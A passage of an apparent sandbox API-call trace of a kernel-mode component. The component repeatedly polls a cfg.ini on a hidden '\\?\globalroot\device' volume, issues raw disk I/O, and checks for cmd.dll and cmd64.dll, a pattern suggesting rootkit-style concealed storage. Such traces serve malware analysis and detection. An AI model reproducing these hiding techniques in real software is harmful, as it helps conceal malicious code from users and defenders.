[0124.920] ExFreePoolWithTag (P=0xfffffa8003bf33d0, Tag=0x0) [0124.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.920] KeLeaveCriticalRegion () [0124.920] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.920] ReleaseMutex (hMutex=0xf0) returned 1 [0124.920] Sleep (dwMilliseconds=0x124f80) [0124.934] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.934] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.934] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.934] KeEnterCriticalRegion () [0124.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.934] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.934] IdePortDispatch () returned 0x103 [0124.935] KeWaitForMutexObject () returned 0x0 [0124.935] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.935] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.935] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.935] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.935] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.935] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be88c0 [0124.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.935] KeLeaveCriticalRegion () [0124.935] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.935] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.935] KeEnterCriticalRegion () [0124.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.935] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.935] KeLeaveCriticalRegion () [0124.935] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.935] KeEnterCriticalRegion () [0124.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.935] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.935] IdePortDispatch () returned 0x103 [0124.935] KeWaitForMutexObject () returned 0x0 [0124.935] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.935] KeLeaveCriticalRegion () [0124.935] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.935] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.935] KeEnterCriticalRegion () [0124.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.935] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e5000 [0124.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.936] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.936] IdePortDispatch () returned 0x103 [0124.936] KeWaitForMutexObject () returned 0x0 [0124.936] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.936] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.936] IdePortDispatch () returned 0x103 [0124.936] KeWaitForMutexObject () returned 0x0 [0124.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.936] KeLeaveCriticalRegion () [0124.936] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.937] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.937] KeEnterCriticalRegion () [0124.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.937] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.937] KeLeaveCriticalRegion () [0124.937] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.937] KeEnterCriticalRegion () [0124.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.937] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.937] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4270, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.937] KeLeaveCriticalRegion () [0124.937] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.937] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.937] KeEnterCriticalRegion () [0124.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.937] ExFreePoolWithTag (P=0xfffffa8003be88c0, Tag=0x0) [0124.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.937] KeLeaveCriticalRegion () [0124.937] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.937] ReleaseMutex (hMutex=0xf0) returned 1 [0124.937] Sleep (dwMilliseconds=0x124f80) [0124.951] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.951] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.951] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.951] KeEnterCriticalRegion () [0124.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.951] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.951] IdePortDispatch () returned 0x103 [0124.951] KeWaitForMutexObject () returned 0x0 [0124.951] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.952] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.952] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.952] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.952] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.952] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7b10 [0124.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.952] KeLeaveCriticalRegion () [0124.952] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.952] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.952] KeEnterCriticalRegion () [0124.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.952] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.952] KeLeaveCriticalRegion () [0124.952] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.952] KeEnterCriticalRegion () [0124.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.952] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.952] IdePortDispatch () returned 0x103 [0124.952] KeWaitForMutexObject () returned 0x0 [0124.952] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.952] KeLeaveCriticalRegion () [0124.952] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.952] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.952] KeEnterCriticalRegion () [0124.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.952] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ea000 [0124.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.952] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.952] IdePortDispatch () returned 0x103 [0124.953] KeWaitForMutexObject () returned 0x0 [0124.953] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.953] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.953] IdePortDispatch () returned 0x103 [0124.953] KeWaitForMutexObject () returned 0x0 [0124.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.953] KeLeaveCriticalRegion () [0124.953] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.954] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.954] KeEnterCriticalRegion () [0124.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.954] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.954] KeLeaveCriticalRegion () [0124.954] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.954] KeEnterCriticalRegion () [0124.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.954] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.954] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.954] KeLeaveCriticalRegion () [0124.954] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.954] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.954] KeEnterCriticalRegion () [0124.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.954] ExFreePoolWithTag (P=0xfffffa8003be7b10, Tag=0x0) [0124.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.954] KeLeaveCriticalRegion () [0124.954] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.954] ReleaseMutex (hMutex=0xf0) returned 1 [0124.954] Sleep (dwMilliseconds=0x124f80) [0124.968] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.968] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.968] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.968] KeEnterCriticalRegion () [0124.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.968] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.968] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.968] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.968] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.968] IdePortDispatch () returned 0x103 [0124.968] KeWaitForMutexObject () returned 0x0 [0124.968] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.968] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.968] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.968] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.968] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.968] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be88c0 [0124.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.968] KeLeaveCriticalRegion () [0124.968] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.968] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.968] KeEnterCriticalRegion () [0124.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.969] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.969] KeLeaveCriticalRegion () [0124.969] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.969] KeEnterCriticalRegion () [0124.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.969] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.969] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.969] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.969] IdePortDispatch () returned 0x103 [0124.969] KeWaitForMutexObject () returned 0x0 [0124.969] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.969] KeLeaveCriticalRegion () [0124.969] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.969] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.969] KeEnterCriticalRegion () [0124.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.969] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ef000 [0124.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.969] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.969] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.969] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.969] IdePortDispatch () returned 0x103 [0124.969] KeWaitForMutexObject () returned 0x0 [0124.969] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.970] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.970] IdePortDispatch () returned 0x103 [0124.970] KeWaitForMutexObject () returned 0x0 [0124.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.970] KeLeaveCriticalRegion () [0124.970] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.970] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.970] KeEnterCriticalRegion () [0124.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.970] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.970] KeLeaveCriticalRegion () [0124.970] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.970] KeEnterCriticalRegion () [0124.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.970] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.970] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4120, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.971] KeLeaveCriticalRegion () [0124.971] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.971] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.971] KeEnterCriticalRegion () [0124.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.971] ExFreePoolWithTag (P=0xfffffa8003be88c0, Tag=0x0) [0124.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.971] KeLeaveCriticalRegion () [0124.971] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.971] ReleaseMutex (hMutex=0xf0) returned 1 [0124.971] Sleep (dwMilliseconds=0x124f80) [0124.985] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.985] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.985] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.985] KeEnterCriticalRegion () [0124.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.985] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.985] IdePortDispatch () returned 0x103 [0124.985] KeWaitForMutexObject () returned 0x0 [0124.986] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.986] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.986] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.986] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.986] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.986] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4740 [0124.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.986] KeLeaveCriticalRegion () [0124.986] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.986] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.986] KeEnterCriticalRegion () [0124.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.986] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.986] 